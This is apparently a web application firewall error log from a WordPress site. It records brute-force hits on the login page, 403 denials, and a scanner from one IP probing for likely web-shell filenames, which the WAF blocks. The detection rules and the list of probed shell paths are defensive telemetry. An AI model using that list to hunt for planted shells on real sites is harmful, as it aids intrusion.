[Tue May 19 07:56:02.881428 2026] [:error] [pid 46815:tid 46841] [client 62.106.67.45:33963] [client 62.106.67.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.45, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunEiPnRhJOmA06LgoJngAAAVg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:05.382649 2026] [:error] [pid 38699:tid 38751] [client 94.76.169.129:29729] [client 94.76.169.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.129, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunFb--Adsw_P-dthZDRgAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:07.840940 2026] [:error] [pid 46815:tid 46834] [client 62.106.67.233:54421] [client 62.106.67.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.233, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunFyPnRhJOmA06LgoJqAAAAVE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:10.623392 2026] [:error] [pid 38697:tid 38720] [client 94.76.159.97:13161] [client 94.76.159.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.97, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunGqXP9pP6Kgt-msTH9AAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:13.151114 2026] [:error] [pid 41573:tid 41586] [client 62.106.67.131:24341] [client 62.106.67.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.131, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunHS1A2bd6JDSW9RZA2wAAAQs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:16.757582 2026] [:error] [pid 38699:tid 38746] [client 88.148.85.207:47751] [client 88.148.85.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.207, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunIL--Adsw_P-dthZDUAAAAEQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:19.223463 2026] [:error] [pid 38699:tid 38752] [client 88.148.85.18:36057] [client 88.148.85.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.18, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunI7--Adsw_P-dthZDUgAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:21.726460 2026] [:error] [pid 46815:tid 46827] [client 88.148.126.219:47833] [client 88.148.126.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunJSPnRhJOmA06LgoJugAAAUo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:24.489162 2026] [:error] [pid 41573:tid 41593] [client 159.253.248.145:29013] [client 159.253.248.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.145, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunKC1A2bd6JDSW9RZA3QAAARI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:27.266498 2026] [:error] [pid 46896:tid 46899] [client 88.148.126.242:10899] [client 88.148.126.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.242, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunK6CHyzL3Ci9LGE3uqgAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:29.772492 2026] [:error] [pid 38705:tid 38775] [client 88.148.93.187:64769] [client 88.148.93.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.187, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunLcg5dNOZ5umN9lsojwAAAIY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:32.296519 2026] [:error] [pid 38699:tid 38760] [client 62.106.67.35:49059] [client 62.106.67.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.35, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunML--Adsw_P-dthZDVgAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:34.786920 2026] [:error] [pid 38697:tid 38717] [client 94.76.159.31:55625] [client 94.76.159.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.31, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunMqXP9pP6Kgt-msTIBgAAAAI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:37.294187 2026] [:error] [pid 46815:tid 46818] [client 62.106.67.153:25887] [client 62.106.67.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.153, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunNSPnRhJOmA06LgoJvgAAAUE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:39.698381 2026] [:error] [pid 41573:tid 41587] [client 88.148.85.175:22125] [client 88.148.85.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunNy1A2bd6JDSW9RZA3wAAAQw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 08:20:40.192605 2026] [:error] [pid 38699:tid 38761] [client 43.160.241.129:59836] [client 43.160.241.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agus2L--Adsw_P-dthZHnAAAAFM"]
[Tue May 19 08:48:24.673415 2026] [:error] [pid 38699:tid 38753] [client 43.153.204.189:59190] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aguzWL--Adsw_P-dthZMzgAAAEs"]
[Tue May 19 09:14:17.473631 2026] [:error] [pid 41573:tid 41594] [client 162.240.101.155:60268] [client 162.240.101.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.240.101.155, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agu5aS1A2bd6JDSW9RZIZQAAARM"]
[Tue May 19 09:14:18.609539 2026] [:error] [pid 41573:tid 41583] [client 162.240.101.155:60268] [client 162.240.101.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.240.101.155, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agu5ai1A2bd6JDSW9RZIaAAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 10:58:16.921376 2026] [autoindex:error] [pid 38697:tid 38735] [client 161.97.142.128:55914] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 19 12:13:13.376472 2026] [:error] [pid 29823:tid 29855] [client 20.226.17.188:29848] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-header.php"] [unique_id "agvjWWO09C0nAz8vRk4PLQAAAdA"]
[Tue May 19 12:13:14.011382 2026] [:error] [pid 46896:tid 46914] [client 20.226.17.188:21920] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-header.php"] [unique_id "agvjWqCHyzL3Ci9LGE0stgAAAZA"]
[Tue May 19 12:13:14.663764 2026] [:error] [pid 46896:tid 46920] [client 20.226.17.188:29257] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-header.php"] [unique_id "agvjWqCHyzL3Ci9LGE0stwAAAZY"]
[Tue May 19 12:13:15.299215 2026] [:error] [pid 38697:tid 38730] [client 20.226.17.188:33404] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-header.php"] [unique_id "agvjW6XP9pP6Kgt-msQNIAAAAA8"]
[Tue May 19 12:13:16.011571 2026] [:error] [pid 29823:tid 29849] [client 20.226.17.188:17031] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php7"] [unique_id "agvjXGO09C0nAz8vRk4PLgAAAco"]
[Tue May 19 12:13:16.660958 2026] [:error] [pid 46896:tid 46902] [client 20.226.17.188:16487] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php7"] [unique_id "agvjXKCHyzL3Ci9LGE0sugAAAYQ"]
[Tue May 19 12:13:17.323696 2026] [:error] [pid 46896:tid 46903] [client 20.226.17.188:1183] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php7"] [unique_id "agvjXaCHyzL3Ci9LGE0suwAAAYU"]
[Tue May 19 12:13:17.948568 2026] [:error] [pid 46896:tid 46898] [client 20.226.17.188:17037] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php7"] [unique_id "agvjXaCHyzL3Ci9LGE0svQAAAYA"]
[Tue May 19 12:13:18.580198 2026] [:error] [pid 38705:tid 38776] [client 20.226.17.188:31002] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/ws49.php"] [unique_id "agvjXsg5dNOZ5umN9ltDjQAAAIc"]
[Tue May 19 12:13:19.230407 2026] [:error] [pid 41573:tid 41593] [client 20.226.17.188:31004] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/ws49.php"] [unique_id "agvjXy1A2bd6JDSW9RZY9AAAARI"]
[Tue May 19 12:13:19.895896 2026] [:error] [pid 41573:tid 41585] [client 20.226.17.188:16464] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/ws49.php"] [unique_id "agvjXy1A2bd6JDSW9RZY9gAAAQo"]
[Tue May 19 12:13:20.576520 2026] [:error] [pid 38705:tid 38784] [client 20.226.17.188:8176] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/ws49.php"] [unique_id "agvjYMg5dNOZ5umN9ltDjgAAAI8"]
[Tue May 19 12:13:21.322561 2026] [:error] [pid 38814:tid 38826] [client 20.226.17.188:16459] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agvjYQvkKuBwP0epzWd16AAAAMo"]
[Tue May 19 12:13:21.958943 2026] [:error] [pid 38814:tid 38830] [client 20.226.17.188:20688] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agvjYQvkKuBwP0epzWd16QAAAM4"]
[Tue May 19 12:13:22.654163 2026] [:error] [pid 38814:tid 38831] [client 20.226.17.188:6208] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agvjYgvkKuBwP0epzWd16gAAAM8"]
[Tue May 19 12:13:23.469261 2026] [:error] [pid 38699:tid 38756] [client 20.226.17.188:29307] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agvjY7--Adsw_P-dthZt-QAAAE4"]
[Tue May 19 12:13:24.145956 2026] [:error] [pid 38814:tid 38827] [client 20.226.17.188:16504] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxw.php"] [unique_id "agvjZAvkKuBwP0epzWd16wAAAMs"]
[Tue May 19 12:13:24.815105 2026] [:error] [pid 41573:tid 41588] [client 20.226.17.188:16480] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxw.php"] [unique_id "agvjZC1A2bd6JDSW9RZY-AAAAQ0"]
[Tue May 19 12:13:25.796828 2026] [:error] [pid 41573:tid 41578] [client 20.226.17.188:6260] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxw.php"] [unique_id "agvjZS1A2bd6JDSW9RZY-QAAAQM"]
[Tue May 19 12:13:26.717301 2026] [:error] [pid 29823:tid 29848] [client 20.226.17.188:8175] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxw.php"] [unique_id "agvjZmO09C0nAz8vRk4PMQAAAck"]
[Tue May 19 12:13:27.424312 2026] [:error] [pid 41573:tid 41596] [client 20.226.17.188:25983] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amwxl.php"] [unique_id "agvjZy1A2bd6JDSW9RZY-gAAARU"]
[Tue May 19 12:13:28.192033 2026] [:error] [pid 29823:tid 29852] [client 20.226.17.188:20682] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amwxl.php"] [unique_id "agvjaGO09C0nAz8vRk4PMgAAAc0"]
[Tue May 19 12:13:28.879716 2026] [:error] [pid 38705:tid 38787] [client 20.226.17.188:33380] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amwxl.php"] [unique_id "agvjaMg5dNOZ5umN9ltDjwAAAJI"]
[Tue May 19 12:13:29.579911 2026] [:error] [pid 41573:tid 41577] [client 20.226.17.188:1211] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amwxl.php"] [unique_id "agvjaS1A2bd6JDSW9RZY-wAAAQI"]
[Tue May 19 12:13:30.275778 2026] [:error] [pid 38697:tid 38716] [client 20.226.17.188:38876] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "agvjaqXP9pP6Kgt-msQNJQAAAAE"]
[Tue May 19 12:13:30.950774 2026] [:error] [pid 29823:tid 29859] [client 20.226.17.188:28682] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "agvjamO09C0nAz8vRk4PMwAAAdQ"]
[Tue May 19 12:13:31.625211 2026] [:error] [pid 41573:tid 41586] [client 20.226.17.188:38883] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "agvjay1A2bd6JDSW9RZY_AAAAQs"]
[Tue May 19 12:13:32.293138 2026] [:error] [pid 38697:tid 38718] [client 20.226.17.188:16463] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "agvjbKXP9pP6Kgt-msQNJgAAAAM"]
[Tue May 19 12:13:32.930720 2026] [:error] [pid 38697:tid 38728] [client 20.226.17.188:30979] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws83.php"] [unique_id "agvjbKXP9pP6Kgt-msQNJwAAAA0"]
[Tue May 19 12:13:33.560925 2026] [:error] [pid 38697:tid 38733] [client 20.226.17.188:4698] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws83.php"] [unique_id "agvjbaXP9pP6Kgt-msQNKAAAABI"]
[Tue May 19 12:13:34.287858 2026] [:error] [pid 46815:tid 46818] [client 20.226.17.188:25982] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws83.php"] [unique_id "agvjbiPnRhJOmA06LgotdwAAAUE"]
[Tue May 19 12:13:34.910643 2026] [:error] [pid 46815:tid 46829] [client 20.226.17.188:4670] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws83.php"] [unique_id "agvjbiPnRhJOmA06LgoteAAAAUw"]
[Tue May 19 12:13:35.569949 2026] [:error] [pid 41573:tid 41583] [client 20.226.17.188:4718] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "agvjby1A2bd6JDSW9RZY_QAAAQg"]
[Tue May 19 12:13:36.318964 2026] [:error] [pid 41573:tid 41580] [client 20.226.17.188:24597] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "agvjcC1A2bd6JDSW9RZY_gAAAQU"]
[Tue May 19 12:13:36.960725 2026] [:error] [pid 46896:tid 46911] [client 20.226.17.188:25931] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "agvjcKCHyzL3Ci9LGE0swAAAAY0"]
